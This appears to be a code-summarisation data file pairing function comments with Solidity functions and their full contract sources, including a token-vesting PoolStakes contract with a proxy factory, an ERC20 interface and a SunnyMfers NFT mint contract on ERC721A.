emit TokenTransferred(_tokenId,_from,_to);
}
/// @notice A manufacturer mints a product. Only authorized addreses can call.
/// @dev First mint is directly to the factory.
function mintProductToken(uint256 _zipCode) onlyAuthorized(msg.sender) public {
//wrap the parameters in a clearer way for code readability.
uint256 productId = serialId;
uint256 manufacturerZipCode = _zipCode;
_safeMint(msg.sender,productId); //mint the token, using the ERC721 implementation. Since the company is the minter,and only company members(see:onlyAuthorized) can call the mint, msg.sender is the first receiver automatically.
// build product fields and map it to the corresponding address.
products[productId] = Product({
_serialHash : keccak256(abi.encodePacked(productId)),
_manufacturerZipCode: manufacturerZipCode
});
approvalState[productId] = true;
//auto-approve transfer for factory
approveOwnership(productId);
emit TokenMinted(serialId);
// increment the id by one since it's serialized.
serialId += 1;
}
/// @notice Fetch the origin address of the product.
/// @param _tokenId Tokenized product data's id for indexing.
/// @return address of the origin manufacturer.
function getTheOriginAddress(uint256 _tokenId) public view returns(address){
return owners[_tokenId][0];
}
/// @notice Gets the factory address.(for testing purposes)
/// @return the factory address.
function getFactoryAddress() public view returns(address){
return factory;
}
/// @notice Gets the approval state of the token
/// @return the token id
function getApprovalState(uint256 _tokenId) public view returns(bool){
return approvalState[_tokenId];
}
/// @notice Returns the list of all owners for a token.(for testing purposes)
/// @param _tokenId tokenId to be queried.
/// @return an array of all owners.
function getAllOwners(uint256 _tokenId) public view returns(address[] memory){
return owners[_tokenId];
}
} | Gets the approval state of the token return the token id | function getApprovalState(uint256 _tokenId) public view returns(bool){
return approvalState[_tokenId];
}
| 12,700,980 |
./full_match/11155111/0xB470Ad2Db961912cAfD49bC2AC64039C0432e547/sources/contracts/Token.sol | Check approval Reset allowance (Prevent double spending) Spend tokens | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
address spender = msg.sender;
require(_from != address(0) && _to != address(0), "Invalid address!");
require(balanceOf(_from) >= _value, "Insufficient balance!");
require(allowance[_from][spender] >= _value, "Insufficient allowance!");
allowance[_from][spender] -= _value;
_transfer(_from, _to, _value);
return true;
}
| 3,801,881 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/Constants.sol";
import { PoolParams } from "./interfaces/Types.sol";
import "./interfaces/IVestingPools.sol";
import "./utils/Claimable.sol";
import "./utils/DefaultOwnable.sol";
import { DefaultOwnerAddress, TokenAddress, VestingPoolsAddress } from "./utils/Linking.sol";
import "./utils/ProxyFactory.sol";
import "./utils/SafeUints.sol";
/**
* @title PoolStakes
* @notice The contract claims (ERC-20) token from the "VestingPools" contract
* and then let "stakeholders" withdraw token amounts prorate to their stakes.
* @dev A few copy of this contract (i.e. proxies created via the {createProxy}
* method) are supposed to run. Every proxy distributes its own "vesting pool",
* so it (the proxy) must be registered with the "VestingPools" contract as the
* "wallet" for that "vesting pool".
*/
contract PoolStakes is
Claimable,
SafeUints,
ProxyFactory,
DefaultOwnable,
Constants
{
// @dev "Stake" of a "stakeholder" in the "vesting pool"
struct Stake {
// token amount allocated for the stakeholder
uint96 allocated;
// token amount released to the stakeholder so far
uint96 released;
}
/// @notice ID of the vesting pool this contract is the "wallet" for
uint16 public poolId;
/// @notice Token amount the vesting pool is set to vest
uint96 public allocation;
/// @notice Token amount allocated from {allocation} to stakeholders so far
/// @dev It is the total amount of all {stakes[..].allocated}
uint96 public allocated;
/// @notice Token amount released to stakeholders so far
/// @dev It is the total amount of all {stakes[..].released}
uint96 public released;
/// @notice Share of vested amount attributable to 1 unit of {allocation}
/// @dev Stakeholder "h" may withdraw from the contract this token amount:
/// factor/SCALE * stakes[h].allocated - stakes[h].released
uint160 public factor;
// mapping from stakeholder address to stake
mapping(address => Stake) public stakes;
event VestingClaimed(uint256 amount);
event Released(address indexed holder, uint256 amount);
event StakeAdded(address indexed holder, uint256 allocated);
event StakeSplit(
address indexed holder,
uint256 allocated,
uint256 released
);
/// @notice Returns address of the token being vested
function token() external view returns (address) {
return address(_getToken());
}
/// @notice Returns address of the {VestingPool} smart contract
function vestingPools() external view returns (address) {
return address(_getVestingPools());
}
/// @notice Returns token amount the specified stakeholder may withdraw now
function releasableAmount(address holder) external view returns (uint256) {
Stake memory stake = _getStake(holder);
return _releasableAmount(stake, uint256(factor));
}
/// @notice Returns token amount the specified stakeholder may withdraw now
/// on top of the {releasableAmount} should {claimVesting} be called
function unclaimedShare(address holder) external view returns (uint256) {
Stake memory stake = _getStake(holder);
uint256 unclaimed = _getVestingPools().releasableAmount(poolId);
return (unclaimed * uint256(stake.allocated)) / allocation;
}
/// @notice Claims vesting to this contract from the vesting pool
function claimVesting() external {
_claimVesting();
}
/////////////////////
//// StakeHolder ////
/////////////////////
/// @notice Sends the releasable amount to the message sender
/// @dev Stakeholder only may call
function withdraw() external {
_withdraw(msg.sender); // throws if msg.sender is not a stakeholder
}
/// @notice Calls {claimVesting} and sends the releasable amount to the message sender
/// @dev Stakeholder only may call
function claimAndWithdraw() external {
_claimVesting();
_withdraw(msg.sender); // throws if msg.sender is not a stakeholder
}
/// @notice Allots a new stake out of the stake of the message sender
/// @dev Stakeholder only may call
function splitStake(address newHolder, uint256 newAmount) external {
address holder = msg.sender;
require(newHolder != holder, "PStakes: duplicated address");
Stake memory stake = _getStake(holder);
require(newAmount <= stake.allocated, "PStakes: too large allocated");
uint256 updAmount = uint256(stake.allocated) - newAmount;
uint256 updReleased = (uint256(stake.released) * updAmount) /
uint256(stake.allocated);
stakes[holder] = Stake(_safe96(updAmount), _safe96(updReleased));
emit StakeSplit(holder, updAmount, updReleased);
uint256 newVested = uint256(stake.released) - updReleased;
stakes[newHolder] = Stake(_safe96(newAmount), _safe96(newVested));
emit StakeSplit(newHolder, newAmount, newVested);
}
//////////////////
//// Owner ////
//////////////////
/// @notice Inits the contract and adds stakes
/// @dev Owner only may call on a proxy (but not on the implementation)
function addStakes(
uint256 _poolId,
address[] calldata holders,
uint256[] calldata allocations,
uint256 unallocated
) external onlyOwner {
if (allocation == 0) {
_init(_poolId);
} else {
require(_poolId == poolId, "PStakes: pool mismatch");
}
uint256 nEntries = holders.length;
require(nEntries == allocations.length, "PStakes: length mismatch");
uint256 updAllocated = uint256(allocated);
for (uint256 i = 0; i < nEntries; i++) {
_throwZeroHolderAddress(holders[i]);
require(
stakes[holders[i]].allocated == 0,
"PStakes: holder exists"
);
require(allocations[i] > 0, "PStakes: zero allocation");
updAllocated += allocations[i];
stakes[holders[i]] = Stake(_safe96(allocations[i]), 0);
emit StakeAdded(holders[i], allocations[i]);
}
require(
updAllocated + unallocated == allocation,
"PStakes: invalid allocation"
);
allocated = _safe96(updAllocated);
}
/// @notice Calls {claimVesting} and sends releasable tokens to specified stakeholders
/// @dev Owner may call only
function massWithdraw(address[] calldata holders) external onlyOwner {
_claimVesting();
for (uint256 i = 0; i < holders.length; i++) {
_withdraw(holders[i]);
}
}
/// @notice Withdraws accidentally sent token from this contract
/// @dev Owner may call only
function claimErc20(
address claimedToken,
address to,
uint256 amount
) external onlyOwner nonReentrant {
IERC20 vestedToken = IERC20(address(_getToken()));
if (claimedToken == address(vestedToken)) {
uint256 balance = vestedToken.balanceOf(address(this));
require(
balance - amount >= allocation - released,
"PStakes: too big amount"
);
}
_claimErc20(claimedToken, to, amount);
}
/// @notice Removes the contract from blockchain when tokens are released
/// @dev Owner only may call on a proxy (but not on the implementation)
function removeContract() external onlyOwner {
// avoid accidental removing of the implementation
_throwImplementation();
require(allocation == released, "PStakes: unpaid stakes");
IERC20 vestedToken = IERC20(address(_getToken()));
uint256 balance = vestedToken.balanceOf(address(this));
require(balance == 0, "PStakes: non-zero balance");
selfdestruct(payable(msg.sender));
}
//////////////////
//// Internal ////
//////////////////
/// @dev Returns the address of the default owner
// (declared `view` rather than `pure` to facilitate testing)
function _defaultOwner() internal view virtual override returns (address) {
return address(DefaultOwnerAddress);
}
/// @dev Returns Token contract address
// (declared `view` rather than `pure` to facilitate testing)
function _getToken() internal view virtual returns (IERC20) {
return IERC20(address(TokenAddress));
}
/// @dev Returns VestingPools contract address
// (declared `view` rather than `pure` to facilitate testing)
function _getVestingPools() internal view virtual returns (IVestingPools) {
return IVestingPools(address(VestingPoolsAddress));
}
/// @dev Returns the stake of the specified stakeholder reverting on errors
function _getStake(address holder) internal view returns (Stake memory) {
_throwZeroHolderAddress(holder);
Stake memory stake = stakes[holder];
require(stake.allocated != 0, "PStakes: unknown stake");
return stake;
}
/// @notice Initialize the contract
/// @dev May be called on a proxy only (but not on the implementation)
function _init(uint256 _poolId) internal {
_throwImplementation();
require(_poolId < 2**16, "PStakes:unsafePoolId");
IVestingPools pools = _getVestingPools();
address wallet = pools.getWallet(_poolId);
require(wallet == address(this), "PStakes:invalidPool");
PoolParams memory pool = pools.getPool(_poolId);
require(pool.sAllocation != 0, "PStakes:zeroPool");
poolId = uint16(_poolId);
allocation = _safe96(uint256(pool.sAllocation) * SCALE);
}
/// @dev Returns amount that may be released for the given stake and factor
function _releasableAmount(Stake memory stake, uint256 _factor)
internal
pure
returns (uint256)
{
uint256 share = (_factor * uint256(stake.allocated)) / SCALE;
if (share > stake.allocated) {
// imprecise division safeguard
share = uint256(stake.allocated);
}
return share - uint256(stake.released);
}
/// @dev Claims vesting to this contract from the vesting pool
function _claimVesting() internal {
// (reentrancy attack impossible - known contract called)
uint256 justVested = _getVestingPools().release(poolId, 0);
factor += uint160((justVested * SCALE) / uint256(allocation));
emit VestingClaimed(justVested);
}
/// @dev Sends the releasable amount of the specified placeholder
function _withdraw(address holder) internal {
Stake memory stake = _getStake(holder);
uint256 releasable = _releasableAmount(stake, uint256(factor));
require(releasable > 0, "PStakes: nothing to withdraw");
stakes[holder].released = _safe96(uint256(stake.released) + releasable);
released = _safe96(uint256(released) + releasable);
// (reentrancy attack impossible - known contract called)
require(_getToken().transfer(holder, releasable), "PStakes:E1");
emit Released(holder, releasable);
}
function _throwZeroHolderAddress(address holder) private pure {
require(holder != address(0), "PStakes: zero holder address");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Constants {
// $ZKP token max supply
uint256 internal constant MAX_SUPPLY = 1e27;
// Scaling factor in token amount calculations
uint256 internal constant SCALE = 1e12;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev To save gas, params are packed to fit into a single storage slot.
* Some amounts are scaled (divided) by {SCALE} - note names starting with
* the letter "s" (stands for "scaled") followed by a capital letter.
*/
struct PoolParams {
// if `true`, allocation gets pre-minted, otherwise minted when vested
bool isPreMinted;
// if `true`, the owner may change {start} and {duration}
bool isAdjustable;
// (UNIX) time when vesting starts
uint32 start;
// period in days (since the {start}) of vesting
uint16 vestingDays;
// scaled total amount to (ever) vest from the pool
uint48 sAllocation;
// out of {sAllocation}, amount (also scaled) to be unlocked on the {start}
uint48 sUnlocked;
// amount vested from the pool so far (without scaling)
uint96 vested;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { PoolParams } from "./Types.sol";
interface IVestingPools {
/**
* @notice Returns Token address.
*/
function token() external view returns (address);
/**
* @notice Returns the wallet address of the specified pool.
*/
function getWallet(uint256 poolId) external view returns (address);
/**
* @notice Returns parameters of the specified pool.
*/
function getPool(uint256 poolId) external view returns (PoolParams memory);
/**
* @notice Returns the amount that may be vested now from the given pool.
*/
function releasableAmount(uint256 poolId) external view returns (uint256);
/**
* @notice Returns the amount that has been vested from the given pool
*/
function vestedAmount(uint256 poolId) external view returns (uint256);
/**
* @notice Vests the specified amount from the given pool to the pool wallet.
* If the amount is zero, it vests the entire "releasable" amount.
* @dev Pool wallet may call only.
* @return released - Amount released.
*/
function release(uint256 poolId, uint256 amount)
external
returns (uint256 released);
/**
* @notice Vests the specified amount from the given pool to the given address.
* If the amount is zero, it vests the entire "releasable" amount.
* @dev Pool wallet may call only.
* @return released - Amount released.
*/
function releaseTo(
uint256 poolId,
address account,
uint256 amount
) external returns (uint256 released);
/**
* @notice Updates the wallet for the given pool.
* @dev (Current) wallet may call only.
*/
function updatePoolWallet(uint256 poolId, address newWallet) external;
/**
* @notice Adds new vesting pools with given wallets and parameters.
* @dev Owner may call only.
*/
function addVestingPools(
address[] memory wallets,
PoolParams[] memory params
) external;
/**
* @notice Update `start` and `duration` for the given pool.
* @param start - new (UNIX) time vesting starts at
* @param vestingDays - new period in days, when vesting lasts
* @dev Owner may call only.
*/
function updatePoolTime(
uint256 poolId,
uint32 start,
uint16 vestingDays
) external;
/// @notice Emitted on an amount vesting.
event Released(uint256 indexed poolId, address to, uint256 amount);
/// @notice Emitted on a pool wallet update.
event WalletUpdated(uint256 indexedpoolId, address indexed newWallet);
/// @notice Emitted on a new pool added.
event PoolAdded(
uint256 indexed poolId,
address indexed wallet,
uint256 allocation
);
/// @notice Emitted on a pool params update.
event PoolUpdated(
uint256 indexed poolId,
uint256 start,
uint256 vestingDays
);
}
// SPDX-License-Identifier: MIT
pragma solidity >0.8.0;
/**
* @title Claimable
* @notice It withdraws accidentally sent tokens from this contract.
* @dev It provides reentrancy guard. The code borrowed from openzeppelin-contracts.
* Unlike original code, this version does not require `constructor` call.
*/
contract Claimable {
bytes4 private constant SELECTOR_TRANSFER =
bytes4(keccak256(bytes("transfer(address,uint256)")));
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _reentrancyStatus;
/// @dev Withdraws ERC20 tokens from this contract
/// (take care of reentrancy attack risk mitigation)
function _claimErc20(
address token,
address to,
uint256 amount
) internal {
// solhint-disable avoid-low-level-calls
(bool success, bytes memory data) = token.call(
abi.encodeWithSelector(SELECTOR_TRANSFER, to, amount)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"claimErc20: TRANSFER_FAILED"
);
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_reentrancyStatus != _ENTERED, "claimErc20: reentrant call");
// Any calls to nonReentrant after this point will fail
_reentrancyStatus = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_reentrancyStatus = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* Inspired and borrowed by/from the openzeppelin/contracts` {Ownable}.
* Unlike openzeppelin` version:
* - by default, the owner account is the one returned by the {_defaultOwner}
* function, but not the deployer address;
* - this contract has no constructor and may run w/o initialization;
* - the {renounceOwnership} function removed.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
* The child contract must define the {_defaultOwner} function.
*/
abstract contract DefaultOwnable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/// @dev Returns the current owner address, if it's defined, or the default owner address otherwise.
function owner() public view virtual returns (address) {
return _owner == address(0) ? _defaultOwner() : _owner;
}
/// @dev Throws if called by any account other than the owner.
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/// @dev Transfers ownership of the contract to the `newOwner`. The owner can only call.
function transferOwnership(address newOwner) external virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
function _defaultOwner() internal view virtual returns (address);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This file contains fake libs just for static linking.
* These fake libs' code is assumed to never run.
* On compilation of dependant contracts, instead of fake libs addresses,
* indicate addresses of deployed real contracts (or accounts).
*/
/// @dev Address of the ZKPToken contract ('../ZKPToken.sol') instance
library TokenAddress {
function neverCallIt() external pure {
revert("FAKE");
}
}
/// @dev Address of the VestingPools ('../VestingPools.sol') instance
library VestingPoolsAddress {
function neverCallIt() external pure {
revert("FAKE");
}
}
/// @dev Address of the PoolStakes._defaultOwner
// (NB: if it's not a multisig, transfer ownership to a Multisig contract)
library DefaultOwnerAddress {
function neverCallIt() external pure {
revert("FAKE");
}
}
// SPDX-License-Identifier: MIT
// solhint-disable no-inline-assembly
pragma solidity >0.8.0;
/**
* @title ProxyFactory
* @notice It "clones" the (child) contract deploying EIP-1167 proxies
* @dev Generated proxies:
* - being the EIP-1167 proxy, DELEGATECALL this (child) contract
* - support EIP-1967 specs for the "implementation slot"
* (it gives explorers/wallets more chances to "understand" it's a proxy)
*/
abstract contract ProxyFactory {
// Storage slot that the EIP-1967 defines for the "implementation" address
// (`uint256(keccak256('eip1967.proxy.implementation')) - 1`)
bytes32 private constant IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/// @dev Emits when a new proxy is created
event NewProxy(address proxy);
/**
* @notice Returns `true` if called on a proxy (rather than implementation)
*/
function isProxy() external view returns (bool) {
return _isProxy();
}
/**
* @notice Deploys a new proxy instance that DELEGATECALLs this contract
* @dev Must be called on the implementation (reverts if a proxy is called)
*/
function createProxy() external returns (address proxy) {
_throwProxy();
// CREATE an EIP-1167 proxy instance with the target being this contract
bytes20 target = bytes20(address(this));
assembly {
let initCode := mload(0x40)
mstore(
initCode,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
mstore(add(initCode, 0x14), target)
mstore(
add(initCode, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// note, 0x37 (55 bytes) is the init bytecode length
// while the deployed bytecode length is 0x2d (45 bytes) only
proxy := create(0, initCode, 0x37)
}
// Write this contract address into the proxy' "implementation" slot
// (reentrancy attack impossible - this contract called)
ProxyFactory(proxy).initProxy(address(this));
emit NewProxy(proxy);
}
/**
* @dev Writes given address into the "implementation" slot of a new proxy.
* !!! It MUST (and may only) be called:
* - via the implementation instance with the {createProxy} method
* - on a newly deployed proxy only
* It reverts if called on the implementation or on initialized proxies.
*/
function initProxy(address impl) external {
_throwImplementation();
require(
_getImplementation() == address(0),
"ProxyFactory:ALREADY_INITIALIZED"
);
// write into the "implementation" slot
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, impl)
}
}
/// @dev Returns true if called on a proxy instance
function _isProxy() internal view virtual returns (bool) {
// for a DELEGATECALLed contract, `this` and `extcodesize`
// are the address and the code size of the calling contract
// (for a CALLed contract, they are ones of that called contract)
uint256 _size;
address _this = address(this);
assembly {
_size := extcodesize(_this)
}
// shall be the same as the one the `createProxy` generates
return _size == 45;
}
/// @dev Returns the address stored in the "implementation" slot
function _getImplementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/// @dev Throws if called on the implementation
function _throwImplementation() internal view {
require(_isProxy(), "ProxyFactory:IMPL_CALLED");
}
/// @dev Throws if called on a proxy
function _throwProxy() internal view {
require(!_isProxy(), "ProxyFactory:PROXY_CALLED");
}
}
// SPDX-License-Identifier: MIT
pragma solidity >0.8.0;
/**
* @title SafeUints
* @notice Util functions which throws if a uint256 can't fit into smaller uints.
*/
contract SafeUints {
// @dev Checks if the given uint256 does not overflow uint96
function _safe96(uint256 n) internal pure returns (uint96) {
require(n < 2**96, "VPools: Unsafe96");
return uint96(n);
}
}
| Returns the current owner address, if it's defined, or the default owner address otherwise. | function owner() public view virtual returns (address) {
return _owner == address(0) ? _defaultOwner() : _owner;
}
| 12,762,110 |
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.10;
import "./ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract SunnyMfers is ERC721A, Ownable {
bool public revealed;
string public baseURI;
string public gaURI;
string public preURI = "ipfs://bafkreiey6koxutbsnsrplboteddmldrhsy26ooasa5o5r5nlbkpqi6zcam";
uint256 public SUPPLY = 6969;
uint256 public WALLETLIMIT = 20;
uint256 public PRICE = 0.0069 ether;
uint256 public GIVEAWAY = 20;
uint256 public FREE = 69;
event Minted(address sender, uint256 count);
constructor() ERC721A("SUNNYMFERS", "SUNNYMFERS", WALLETLIMIT) {
gaURI = preURI;
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
require(_exists(_tokenId), "Token does not exist.");
if (revealed) {
return
string(
abi.encodePacked(
baseURI,
Strings.toString(_tokenId),
".json"
)
);
} else if (_tokenId >= SUPPLY - GIVEAWAY) {
return gaURI;
} else {
return preURI;
}
}
function mint(uint256 count) public payable {
require(
totalSupply() - 1 + count <= SUPPLY - GIVEAWAY,
"Exceeds total supply"
);
require(msg.sender == tx.origin, "No contracts");
require(count <= WALLETLIMIT, "Exceeds max per txn");
require(count > 0, "Must mint at least one token");
require(totalSupply() - 1 + count <= FREE || count * PRICE <= msg.value, "Insufficient funds provided");
require(
_numberMinted(msg.sender) + count <= WALLETLIMIT,
"There is a per-wallet limit!"
);
_safeMint(_msgSender(), count);
emit Minted(msg.sender, count);
}
function giveaway(address winner) public onlyOwner {
require(GIVEAWAY > 0, "No more to giveaway");
_safeMint(winner, 1);
GIVEAWAY = GIVEAWAY - 1;
}
function setReveal(bool _revealed) public onlyOwner {
revealed = _revealed;
}
function setBaseURI(string memory _baseURI) public onlyOwner {
baseURI = _baseURI;
}
function setgaURI(string memory _baseURI) public onlyOwner {
gaURI = _baseURI;
}
function withdraw() public onlyOwner {
require(
payable(owner()).send(address(this).balance),
"Withdrawal Failed"
);
}
}
// SPDX-License-Identifier: MIT
// h/t Chiru Labs
pragma solidity ^0.8.10;
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 1;
uint256 public immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
